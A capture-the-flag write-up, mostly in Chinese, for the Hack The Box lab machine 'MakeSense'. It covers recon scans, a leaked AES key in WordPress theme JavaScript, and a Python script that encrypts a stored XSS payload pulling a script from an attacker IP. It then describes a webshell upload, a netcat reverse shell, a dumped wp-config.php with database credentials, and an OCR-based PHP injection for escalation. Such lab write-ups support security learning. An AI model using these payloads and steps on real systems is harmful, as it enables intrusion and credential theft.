HTB-Season11-Medium-MakeSense
/ 5 min read
sudo nmap -sS -p- -T4 --min-rate 5000 -n -Pn -oA nmaps/makesense.htb 10.129.246.24
PORT STATE SERVICE22/tcp open ssh443/tcp open https~/T/WhatWeb ❯ ./whatweb https://10.129.246.24:443 15:57:20https://makesense.htb/ [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], Email[info@webagency.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.246.24], JQuery[3.7.1], MetaGenerator[WordPress 7.0], Script[application/json,module], Title[Agency LLC], UncommonHeaders[link], WordPress[7.0]wordpress
feroxbuster -u https://10.129.246.24:443 -w ./SecLists/Discovery/Web-Content/raft-small-directories.txt -k
301 GET 9l 28w 318c https://10.129.246.24/scripts => https://10.129.246.24/scripts/301 GET 9l 28w 329c https://10.129.246.24/wp-content/uploads => https://10.129.246.24/wp-content/uploads/
有 gitignore
# Python virtual environmentvenv/env/ENV/
# Python cache__pycache__/*.py[cod]*$py.class*.so.Python
# Distribution / packagingbuild/develop-eggs/dist/downloads/eggs/.eggs/lib/lib64/parts/sdist/var/wheels/*.egg-info/.installed.cfg*.egg
# PyInstaller*.manifest*.spec
# Unit test / coverage reportshtmlcov/.tox/.coverage.coverage.*.cachenosetests.xmlcoverage.xml*.cover.hypothesis/.pytest_cache/
# Jupyter Notebook.ipynb_checkpoints
# pyenv.python-version
# Environments.env.venvenv/venv/ENV/env.bak/venv.bak/
# IDEs.vscode/.idea/*.swp*.swo*~
# OS.DS_StoreThumbs.db
# WordPresswp-content/cache/wp-content/database/wp-content/upgrade/wp-content/backup-db/wp-content/advanced-cache.phpwp-content/wp-cache-config.php
# Model files - excluded from repository (download via scripts)*.gguf*.bin*.safetensors
# AI models - only exclude the large model files, keep transformers.js librarywp-content/ai-models/models/
# HuggingFace cache (Whisper models auto-download here).cache/huggingface/
var webagency_ajax = { "ajax_url": "https://makesense.htb/wp-admin/admin-ajax.php", "nonce": "ec2bd70b71", "theme_url": "https://makesense.htb/wp-content/themes/webagency", "site_url": "https://makesense.htb"};//# sourceURL=whisper-wrapper-js-extra| Action | 作用 |
|---|---|
| submit_contact_form | 提交联系表单,返回 post_id |
| save_voice_raw | 上传原始录音,返回 post_id |
| save_voice_results | 提交加密后的 {transcription, summary} |
/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js 内泄露ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'
// whisper-wrapper.js:463async encryptPayload(payload) { const encoder = new TextEncoder(); const data = encoder.encode(JSON.stringify(payload));
// Derive key from password using SHA-256 const keyMaterial = await crypto.subtle.digest( 'SHA-256', encoder.encode(ENCRYPTION_KEY) );
const key = await crypto.subtle.importKey( 'raw', keyMaterial, { name: 'AES-GCM' }, false, ['encrypt'] );
// Generate random IV (12 bytes for AES-GCM) const iv = crypto.getRandomValues(new Uint8Array(12));
// Encrypt const encrypted = await crypto.subtle.encrypt( { name: 'AES-GCM', iv: iv }, key, data );
// Combine IV + ciphertext (tag is appended automatically by WebCrypto) const combined = new Uint8Array(iv.length + encrypted.byteLength); combined.set(iv, 0); combined.set(new Uint8Array(encrypted), iv.length);
// Convert to base64 let binary = ''; combined.forEach(byte => binary += String.fromCharCode(byte)); return btoa(binary); }甚至 js 中有 XSS 的注释
//whisper-wrapper.js:503/** * Map spoken words to their symbol equivalents for XSS injection * @param {string} text - The text to apply mapping to * @returns {string} Text with symbols replaced */ applySymbolMapping(text) { if (!text) return '';
const mappings = { 'open bracket': '<', 'close bracket': '>', 'bracket': '<', // Default single 'bracket' to opening 'slash': '/', 'back slash': '\\', 'quote': "'", 'double quote': '"', 'open parenthesis': '(', 'close parenthesis': ')', 'parenthesis': '(', 'dot': '.', 'period': '.', 'comma': ',', 'colon': ':', 'semi colon': ';', 'semicolon': ';', 'equal': '=', 'equals': '=', 'dash': '-', 'hyphen': '-', 'underline': '_', 'underscore': '_', 'plus': '+', 'asterisk': '*', 'star': '*', 'ampersand': '&', 'percent': '%', 'dollar': '$', 'hash': '#', 'at': '@', 'exclamation': '!', 'question': '?' };
let result = text.toLowerCase();
// Sort keys by length descending to match longer phrases first (e.g. "open bracket" before "bracket") const sortedKeys = Object.keys(mappings).sort((a, b) => b.length - a.length);
for (const key of sortedKeys) { // Use word boundary to avoid partial matches const regex = new RegExp(`\\b${key}\\b`, 'gi'); result = result.replace(regex, mappings[key]); }
// Clean up spaces around symbols that might have been introduced by transcription // e.g. "< script >" -> "<script>" result = result.replace(/\s*([<>\/()[\]{}.,:;=\-_+*&%$#!?])\s*/g, '$1');
return result; }初步攻击链:
1. 通过 submit_contact_form 获得一条可写入的记录 post_id2. 构造恶意 payload,利用 js 中泄露的 ENCRYPTION_KEY 加密3. 通过 save_voice_results 将加密后的恶意 payload 写入记录4. 服务端自动解密并存储,等待 XSS 被触发#!/usr/bin/env python3import base64import hashlibimport jsonimport os
from Crypto.Cipher import AES
ENCRYPTION_KEY = "bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"
xss_payload = '<script src="http://http://10.10.16.234:9999/xss.js"></script>'
payload_data = {"transcription": xss_payload, "summary": xss_payload}key_material = hashlib.sha256(ENCRYPTION_KEY.encode("utf-8")).digest()
iv = os.urandom(12)
cipher = AES.new(key_material, AES.MODE_GCM, nonce=iv)ciphertext, tag = cipher.encrypt_and_digest(json.dumps(payload_data).encode("utf-8"))
combined = iv + ciphertext + tag
encrypted_payload = base64.b64encode(combined).decode("utf-8")
print("[+] Encrypted payload:")print(encrypted_payload)静待 XSS 触发后 登录进 WordPress 后台
通过插件上传 webshell 弹回来 尝试横向
/tmp ❯ nc -lv 9998bash: cannot set terminal process group (1408): Inappropriate ioctl for devicebash: no job control in this shell
www-data@makesense:/var/www/html/wp-admin$ cat /var/www/html/wp-config.phpcat /var/www/html/wp-config.php<?php// SQLite database configurationdefine( 'DB_DIR', __DIR__ . '/wp-content/database/' );define( 'DB_FILE', '.ht.sqlite' );
// Dummy MySQL settings (required but not used with SQLite)define( 'DB_NAME', 'wordpress' );define( 'DB_USER', 'walter' );define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );define( 'DB_HOST', 'localhost' );define( 'DB_CHARSET', 'utf8' );define( 'DB_COLLATE', '' );
$table_prefix = 'wp_';define( 'WP_DEBUG', false );
define('AUTH_KEY', '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&Gqd~5O/|<^7DmLtEm=SjV|jmWZ');define('SECURE_AUTH_KEY', 'BD-p*m6hvWAGGBDg%_UC,|>};`C2<1uK>*x!h.Wf*dE;lbhaQVbHw+uc@6OfH>B%');define('LOGGED_IN_KEY', ';2fn^sP8F`HK0g,8C&2ar})EifGz@,5Z1{IoDD+CzOT@3w[g~*aM-+=zWcxGBYk2');define('NONCE_KEY', 's>>f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A>99->-$$>UvU');define('AUTH_SALT', 'V 0X(1n-@p&})rQpQB_mEax]D9Z*;iM+23&b]!53._;,).:Lj?1ky56*Vaa~KF(B');define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O<CSE4#uPWN.');define('LOGGED_IN_SALT', 'wUxZI^1#)4o)C1KJ8a5o-k{V3L)agi|fofV0SzuSUI;1k%1 !9Q!P@-*j8Y_j%$;');define('NONCE_SALT', 'j #rMhd[olj2$j8|QAF7L8rR-D kf&gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');
if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' );}
define( 'WP_SQLITE_PLUGIN', true );require_once ABSPATH . 'wp-settings.php';
www-data@makesense:/var/www/html/wp-admin$ ls /homels /homeadminwalter找到 walter:JbhHDAEgXvri3 ssh登录后提权
穿出来看一下
复用密码登录 是一个画布OCR程序
对字体有要求 反正手写过不了
ocr正确识别后会响应
| 参数 | 作用 |
|---|---|
| ocr_id | ID |
| filename | 要保存的文件名 |
| output-text | 识别结果 |
构造php命令再保存就可以了